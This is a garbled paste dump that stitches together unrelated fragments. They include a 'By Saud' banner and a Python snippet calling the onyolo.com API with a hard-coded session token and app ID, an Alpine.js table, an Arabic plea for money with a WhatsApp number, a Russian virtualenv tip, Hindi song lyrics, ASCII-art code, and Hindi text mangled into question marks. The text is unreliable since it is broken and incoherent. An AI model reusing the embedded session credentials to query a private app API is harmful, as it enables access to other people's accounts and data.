▐░░░░░░░░░░░▌ ▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄█░█▄▄▄▄ ▐░▌
▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌ ▐░▌
▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀
By Saud & https://t.me/x0Saudi (2v)
""")
payload = "" headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9", "X-Parse-Installation-Id": "25cfde8f-7204-434e-a7fb-dde295ee4f70", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36", "Connection": "close", "X-Parse-Application-Id": "RTE8CXsUiVWfG1XlXOyJAxfonvt", "Host": "onyolo.com", "Accept-Encoding": "gzip, deflate", "Upgrade-Insecure-Requests": "1", "Accept-Language": "en-US,en;q=0.9", "X-Parse-Client-Version": "i1.17.3", "X-Parse-Session-Token": "r:d2387adf1745407f5ec19e7de61f2da1", "X-Parse-OS-Version": "12.9 (saud)" }
response = requests.request("GET", url, data=payload, headers=headers)
print(response.text)
https://github.com/lmanukyan/alpinejs-xcomponent
<script src="https://unpkg.com/[email protected]/alpine-components.min.js"></script>
<script defer src="https://unpkg.com/[email protected]/dist/cdn.min.js"></script>
<div x-data="{
countries: [
{name: 'Russia', area: 17098246, population: 146150789},
{name: 'Canada', area: 9984670, population: 41465298},
{name: 'China', area: 9596960, population: 1408280000},
{name: 'United States', area: 9525067, population: 340110988},
{name: 'Brazil', area: 8510346, population: 212583750}
]
}">
<table border="1">
<tr>
<th>Name</th>
<th>Area</th>
<th>Population</th>
</tr>
<template x-for="country in countries">
<tr x-data="template('country-item')" x-bind="bind" x-model="country"></tr>
</template>
</table>
</div>
<template id="country-item">
<td x-text="props.name"></td>
<td x-text="props.area"></td>
<td x-text="props.population"></td>
</template>
السلام عليكم ورحمة الله وبركاته 😔🙏😔🙏😔 أخي الكريم داخلة على الله ثم عليك أسألك بالله لا تتكبر علينا وتطنش رسالتي مثل البقية 🙏 شهر رمضان المبارك أقبل والكل يستقبلونه بالفرح والسرور وكل الناس مستبشرين بقدومه ويستقبلونه بكل متطلباته وكل ما يحتاجونه من متطلباته يشترون من أشهى المأكولات وألذ المشروبات والفواكة والخضروات والتمر والبن والقهوة والعصير وكل ما تشتهيه أنفسهم😔 ونحن أخواتك اليتيمات نستقبل رمضان بالعبرات والدموع والقهر والألم والحزن حين نتذكر المرحوم والدنا يوم كان موجود معانا ويعولنا ويقدم لنا ما نحتاجه من مأكل ومشرب وملبس وغير ذلك من متطلبات الحياة واليوم بعد وفاته ها هو رمضان على الأبواب ونحن لا نملك شي 😭😔😥 كم شكينا وكم بكينا ولكن للأسف لا حياة لمن تنادي حتى في هذي الإيام المباركة
إذا تستطيع مساعدتنا هذا رقمنا واتساب وإتصال تواصل معانا نرسلك البيانات كاملة +967713411540
00967713411540 👇👇👇👇👇😔😥 أسألك بالله ياأخي أقرأ رسالتي وأفهمها من البداية ولا تردني خائبة ذليلة
ввиду того, что этот пост гугл выдает первым - оставлю для потомков:
Необходимо переустановить virtualenv
sudo apt purge python3-virtualenv
sudo pip3 uninstall virtualenv
sudo pip3 install virtualenv
Считаете это "хорошей" идеей создать локальный файл, а потом опять его считать?
В теме:
<WidgetStyle name="Fold" styleID="0" fgColor="FF6400" bgColor="000000" fontStyle="0" fontSize=""></WidgetStyle>
Меняйте "fgColor"
(Intro – Soft Melody)
शंख बजे, मंत्र गूंजे,
फिर भी मन के घाव ना सूझे,
देवभूमि का बेटा हूँ मैं,
पर कलियुग की आग में झुलसा हूँ मैं।
क़िस्मत ने लिखे, जो घाव गहरे,
रगों में बसते शिव, कृष्ण मेरे,
राम की सीख, अर्जुन के तीर,
पर कलियुग में जलते हैं ज़मीर।
माँ की गोद में रोया था कल,
गंगा किनारे बहाया था पल,
शक्ति को पुकारा, विष्णु को ध्याया,
पर नियति ने फिर भी दर्द ही सुलाया।
पाप भी सहे, पुण्य भी पाए,
राहों में कांटे, फूल भी आए,
सौ बार टूटा, फिर भी संभला,
महादेव ने सिर पर हाथ जो रखा।
सौम्यजीत से बना Godjit का ये सफर,
आग में तपकर ही मिलता है असर।
हर घाव को मैंने खुद ही सिया,
अब मेरा नाम खुद विधाता ने लिखा।
दुनिया के छल को पहचान लिया,
खुद के ही दर्द को सम्मान दिया,
अब मैं ना झुकूंगा, ना टूटूंगा,
जो खोया उसे फिर से समेटूंगा।
कभी गिरा, कभी टूटा, फिर भी चला,
महाकाल के चरणों में चैन मिला।
सौ रातें जलकर, भोर हुई,
अब मेरा हर अश्क, मेरी ताक़त बनी।
अब ना रुकूंगा, ना गिरूंगा,
कालचक्र बदलेगा, मैं लिखूंगा।
सौ युगों का दुःख भी सह लिया,
मैंने सब खोया, फिर भी बना Godjit।
🎵🔥 (Melodic fade-out with chants of "Har Har Mahadev") 🔥🎵
Я предполагаю, что нужно было создать одну viewModel и прокидывать зависимости и данные которые были нужны через koin module
print('\n'.join ([''.join ([('Prabin'[(x-y)%8 ] if((x0.05)**2+(y0.1)**2-1) **3-(x*0.05)2(y0.1) **3<=0 else' ') for x in range(-30,30)]) for y in range(15,-15,-1)]))
-...- -...- / ---... ---... ---... -...- -...- -...- -...- -...- -...- -...- / ---... ---... ---... -...- -...- -...- -...- -...- / ---... ---... ---... -...- -...- -...- -...- / ---... ---... ---... / ---... ---... ---... -...- -...- -...- -...- -...- / ---... ---... ---... -...- -...- -...- -...- / -...- -...- / ---... ---... ---... / -...- -...- -...- / -...- -...- -...- / ---... ---... ---... / ---... ---... ---... / -...- -...- -...- / ---... ---... ---... / ---... ---... ---... / ---... ---... ---... / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- -...- -...- -...- / -...- -...- -...- -...- -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- -...- -...- -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- -...- -...- -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- / -...- -...- -...- -...- -...- -...- -...- / -...- -...- -...- / -...- -...- -...-
def num(li): li=str(li) list1=list(li) print(list1) led = { '0':('###','# #','# #','# #','###'), '1':(' ##','###',' ##',' ##',' ##'), '2':('###',' #','###','# ','###'), '3':('###',' #','###',' #','###'), '4':('# #','# #','###',' #',' #'), '5':('###','# ','###',' #','###'), '6':('###','# ','###','# #','###'), '7':('###',' #',' #',' #',' #'), '8':('###','# #','###','# #','###'), '9':('###','# #','###',' #','###') } length = len(led[list1[1]]) for i in range(length): for j in list1: print(led[j][i], end='\t')
Thanks me later guys and enjoy
??????.. ????? ?? ??????? ???????? ??? ??????? ???? ??? ???????? ??????… -????? ??? ?? ????, ????? ????? ????? ?? ???? ????
???? ?? ???? ??? ??????? ?? ???? ?? ????? ?? ??? ??? ???? ???? ???? ??? ?? ??? ??? ?? ??????? ???? ??? ???? ???? ???? ?? ????????? ?? ?? ???? ?? ??? ????? ??? ???? ?? ?? ?????? ?? ??? ?? ?-?????? ???? ???? ?? ??????? ???? ?? ??? ??? ?????? ?? ???? ?? ??? ???? ????? ??? ???? ?? ???? ?????? ?????? ?? ??? ?????? ?? ??? ??? ??? ???? ??? ?????? ???? ????? ? ?? ??????? ?? ???? ???? ?? ??? ?????? ??? ??? ??? ???? ?? ?????? ?? ?? ???? ?? ???, ?? ????? ?? ?? ????? ??? ?? ???? ?? ?? ??? ???? ?? ????? ???? ??? ????? ?? ????? ?? ????? ?? ????? ?? ??? ?-?????? ????? ?? ?????? ???? ???? ???? ?????? ?? ?????? ?? ?? ?????? ????? ?? ???? ?? ?????? ??? ????? ????? ???? ???? ???? ?? ???????? ???? ???? ???? ?? ??? ????? ????? ??????? ???? ?? ???? ??? ??? ?? ???? ???? ????? ????? ??? ????? ?? ??? ???? ?? ?? ?? ??????? ???????? ????? ?????? ?? ??? ????? ???? ?? ???? ?????? ?-?????? ?? ??? ?????? ???? ???? ???? ??? ???? ?? ?????? ?? ?????? ?? ??????? ??? ???? ?? ??????? ????? ?? ??? ?? ?????????? ???? ?????? ?? ????? ?? ?????? ?? ???? ??? ????? ??? ????????? ???? ???? ?? ??? ????? ???????? ?? ???? ??? ??? ??? 15 ????? ??? ????? ?? ???????? ?? ???? ??? ?????? ??????? ????? ????? ?? ???? ???? ????? ?? ???????? ?? ?????
????? ?? ???? ??? ???? ?? ??? ????? ????? ?? ?????, ????? ????? ????? ?? ???? ??? ???? ?????? ????? ??? ?????? ?? ????? ?? ????? ?? ?? ??? ??? ?? ????? ??? ????? ?? ?? ????? ?? ??????? ???? ?? ???? ???? ????? ?????? ?? ????? ?????? ??? ????? ???? ???? ???
????? ?????? 2…
??????? ??? ??? ?? ??? ???? ???? ?? ????? ???? -???? ?? ??? ???? ??? ???? ??? ?? ??? ???? ?? ???? ??? ??? ???????? ?? ??????? -??? ?? ?????? ????? ?? ??? ??? ???? ?????? ?? ????? ?? ???? ??????
?????? ??????? ??????? ??? ??? ??? ?? ??? ?????? ???? ??? ????? ???? ?? ???? ????? ??? ???? ?? ????? ?????? ?? ?? ???? ?? ??? ???? ??? ???? ??? ??? ?? ???? ??? ??? ??????? ?? ???????? ???
??? ???? ???? ?? ?? ??????????? ??? ????? ?? ??? ?? ? ????? ???? ???????? ??? ???? ????? ??????? ?????? ?? ??? ?????? ?? ?????? ???? ?? ???? ?? ??? ?? ???? ????? ??? ?????? ????? ?? ??? ?? ?? ??? ??? ?? ????????? ?? ???? ???? ???? ?? 50,000 ????? ?? ?????? ?????? ???????? ??????? ?? ?? ?? ?? ?? ??? ??????? ?? ??? ?? ?????? ??? ?? ??? ?? ???? ?? ?????? ???? ?? ???? ?? ???
??????? ?? ?????? ?? ???? ??? ?? ???? ???? ???? ?? ?? ???? ??????? ???? ?? ?? ??????? ?????????? ????? ?????? ?? ?????? 11,000 ????? ???? ?? ??? ??? ???? ??????? ?? ?????? ?? ??? ?? ?????? ???? ?? ??? ??? ???? ?????? ??? ?? ???? ?????? ?? ????? ?? ???? ?????
????? ??????? 3…
??????...????? ?? ????? ??? ???? ??? ?? ?????? -?????? ?? ???? ????? ?? ?????? ???? ???? ???? ????? ??? -?????? ?? ????? ??? ?? ????? ?? ?? ????? ?? ????? ??? ???????
??? ?? ?????? ?? ??? ?? ??? ????? ?? ??? ???? ?????? ??? ?? ??? ???? ??????? ?? ??? ???? ??????? ?? ????? ??? ???? ??? ?????? ?? ???? ??? ?????? ????? ???? ???? ??? ???? ???? ????? ?? ??? ??? ??? ?? ?????? ?? ?? ?????? ?? ???? ??? ????? ?? ???? ?? ?? (???) ???? ???? ?? ?? ???????? ?? ??? ?????? ?????? ?????? ?? ??????? ?? ????? ??? ??????? ?? ????? ???? ?????? ????? ?????
?????? ??????? ?? ?????? ???? ?????? ?? ?????
??? ?? ???? ?? ???? ????? ????? ??? ?? ????? ?? ???? ??? ?? ?? ??? ?? ????????????? ????????? ????????? ??? ??? ??? ???? ???? ??? ????? ??? ???? ??? ?? ??? ??? ??? ??? ???? ?? ?? ????? ?? ????? ?? ?????? ??? ?? ????? ??? ?????? ??? ???? ????? ????? ?? ?????? ???? ??? ?? ?????? ??? ?? ????? ?? ??? ?? ????????? ??? ?? ??????? ?? ????? ???? ??????? ???? ?????? ?? ?????? ??? ?? ???? ????? ?????? ?? ???? ??????? ?? ????? ?? ??? ???
????? ?????? 4…
??????...??? ????? ?? ??? ?????? ?? ??????… -??? ???? ??? ??? ???????? ?? ???? ????
??? (Artificial Inteligence) ????? ?? ??? ?????? ?? ??? ?????? ?????? ??? ???? ?? ????????? ?? ???? ?? ??? ???? ???? ??? ?????? ????? ??? ?????? ?? ?? ???? ?? ?? ???? ????? ???? ???? ????
???? ?????????? ?? ???? ??????????? ?? ???????? ??? ??? ???? ??? ????? ??? ?? ??? ????? ???? ??????? ????????? ??? ????? ?? ??? ??? ????? ??? ?? ?????? ??? ???? ???? ???? ??? ?? ??? ???? ?????? ??? ??? ?? ????? ????? ?? ????????? ????? ?? ???? ???? ???? ???? ?? ???? ????? ??? ???? ?????? ??? ??? ???????? ??????? ??? ?? ?????? ?? ?? ??????? ?? ????? ?????? ????? ???? ????????? ??? ??? ?? ??? ????? ?? ??????? ???? ??? ?????? ????????? ?? ??????? ??? ??????????? ???????? ??? ?? ??????? ??? ???? ??????? ??? ???? ?????? ??? ??????? ??? ?? ???? ?????? ????? ??????? ??? ??? ?????? ??????????, ?????? ??????? ??? ?? ??? ??? ???? ???????? ??? ??????? ?? ???? ????????? ???? ??? ??????
enter image description hereenter image description here
2222222222222222222222222222222222222222222222222222222222222222222222